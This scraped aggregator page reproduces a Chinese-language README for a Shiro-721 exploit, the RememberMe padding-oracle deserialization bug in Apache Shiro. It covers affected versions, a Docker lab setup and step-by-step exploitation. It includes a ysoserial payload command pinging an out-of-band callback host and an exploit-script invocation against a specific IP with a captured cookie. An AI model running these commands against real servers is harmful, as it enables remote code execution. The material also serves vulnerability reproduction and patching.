

Shiro-721 RCE Via RememberMe Padding Oracle Attack
source link: https://github.com/3ndz/Shiro-721
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Shiro-721 RCE Via Padding Oracle Attack
0x01 漏洞概述
Apache Shiro™(读作“sheeroh”,即日语“城”)是一个开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
Shiro使用了AES-128-CBC模式对cookie进行加密,导致恶意用户可以通过Padding Oracle攻击方式构造序列化数据进行反序列化攻击,例如SHIRO-550。(Shiro-721)
0x02 影响版本
1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1
0x03 环境搭建
复现环境: Apache Shiro 1.4.1 + tomcat:8-jre8
- 自行搭建:
可从 Apache Shiro Gtihub 官方仓库自行下载漏洞影响版本( https://github.com/apache/shiro),使用 Apache Maven(软件项目管理及自动构建工具) 编译构建生成 war Java 应用程序包。
git clone https://github.com/apache/shiro.git cd shiro git checkout shiro-root-1.4.1 mvn install
以下几项执行完成以后即可暂停,进而编译 samples/web
下的即可。
[INFO] Apache Shiro ....................................... SUCCESS [ 1.630 s] [INFO] Apache Shiro :: Core ............................... SUCCESS [ 46.175 s] [INFO] Apache Shiro :: Web ................................ SUCCESS [ 3.571 s]
cd samples/web mvn install
将编译完成获取到的 samples-web-1.4.1.war 包( samples/target/中)拷贝到 Tomcat 的 webapps 目录下,启动tomcat即可。
- 获取 Dockerfile :
git clone https://github.com/3ndz/Shiro-721.git cd Shiro-721/Docker docker build -t shiro-721 . docker run -p 8080:8080 -d shiro-721
0x04 漏洞利用
攻击流程:
- 登录网站(勾选Remember),并从Cookie中获取合法的RememberMe。
- 使用RememberMe cookie作为Padding Oracle Attack的前缀。
- 加密 ysoserial 的序列化 payload,以通过Padding Oracle Attack制作恶意RememberMe。
- 重放恶意RememberMe cookie,以执行反序列化攻击。
1.登录 Shiro 测试账户获取合法 Cookie(勾选Remember Me):
(1) 认证失败时会设置deleteMe的cookie:
(2) 认证成功则不会设置deleteMe的cookie:
根据以上条件我们的思路是在正常序列化数据(需要一个已知的用户凭证获取正常序列化数据)后利用 Padding Oracle 构造我们自己的数据( Java序列化数据后的脏数据不影响反序列化结果 ),此时会有两中情况:
- 构造的数据不能通过字符填充验证,返回deleteme;
- 构造的数据可以成功解密通过字符填充验证,之后数据可以正常反序列化,不返回deleteme的cookie.
2.使用Java反序列化工具 ysoserial 生成 Payload:
java -jar ysoserial.jar CommonsBeanutils1 "ping 9rtmxe.ceye.io" > payload.class
3.通过 Padding Oracle Attack 生成 Evil Rememberme cookie:
注意:此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(eg: ping 、 touch /tmp/success, etc),约 1 个多小时可生成正确的 rememberme cookie,生成成功后将自动停止运行。
python shiro_exp.py Usage: shiro_exp.py <url> <somecookie value> <payload> python shiro_exp.py http://47.98.224.70:8080/home.jsp xSEnrD1VPnQ49Tke8d9s7yXyBdKmcZTvF5KZ+8trI5/CQNSwsTJPlfBIEWj4ewouARb8LY4n1BQClrG6+Y5NsyyRhJwjbMKP9DenW7Dd78k9xeWfQZStuyyVsPG3Yq+fAgisJZ706Nzl0Sc2BsoA4COM2Frj5H4Tu3XQr3yer4lQawGdQPT8UCj4XqzuU9xgmmAWzlfEBe0f217/rhFF0dtLogcX7Jw1E0Q5xnoiiEf1Q76ynr/wKb74FqS0UfCHj67lE7yYYd1cjRw4IuM2c/JGppP5rMbuq7Nb5D/UrkMv/Cqv777YbQx90QjGw50v13NPjfoki6lgqwaI+woUh4thZQM6mHHTvE+A2S/a1sNJhYodne/9BQx5iONqjICnGRC5om9IG9XAm+lJ6ED6P1xxSqFNiXWh7JqCFk7YeEwpZoqLYR8EYq+uxqyOwsagOQSYnHVIzNkIcuNcvjBkDtRf37+T/0n0yz/8I3gYL+sV4eOh5ITXpKHTKdprKof4 payload.class
4.使用Evil Rememberme cookie 认证进行反序列化攻击:
CEYE.io 接收到记录:
0x06 修复方式
更新更新版本的 Apache Shior(1.4.2)即可。
参考链接:
Recommend
-
12
SSL/TLS协议安全系列:SSL的Padding Oracle攻击 GoSSIP_SJTU...
-
31
pax Exploit padding oracles for fun and profit! Pax (PAdding oracle eXploiter) is a tool for exploiting padding oracles in order to: Obtain plaintext for a given piece of CBC encrypte...
-
257
Shiro 550 复现 git clone https://github.com/apache/shiro.git git checkout shiro-root-1.2.4 然后导入maven项目之后,在 samples/web/pom.xml 配置jstl版本和反序列化用...
-
14
0x01 漏洞原理由于Apache Shiro 1.4.1及其之前版本的Cookie中的rememberMe字段是使用AES-128-CBC模式来加密生成的,因此攻击者可以在已有的正常登陆的Cookie rememberMe值的基础上根据Padding Oracle Attack的原理来暴破构造出恶意的rememberMe字段,...
-
10
0x01 简介Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。 Apache Shiro基本功能点如下...
-
17
0x00 前言有时候日志审计会看到Padding Oracle Attack相关的事件,但个人对这块不熟就学习做下笔记吧,都是参考学习网上大佬们的文章。 0x01 基本概念异或(XOR)异或(XOR)是一个数学运算符。它应用于逻辑运算。异或的数学...
-
7
Rustpad:一款功能强大的多线程Padding Oracle漏洞挖掘工具 Alpha_h4ck 2022-01-19 22:37:30 13481
-
9
Time'BlogJava反序列化-shiro-721反序列化(五)发表于2022-01-25|更新于2022-02-03|代码审计...
-
5
深入理解Shiro721( CVE-2019-12422 Shiro721 (Apache Shiro RememberMe Padding Oracle... ...
-
7
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK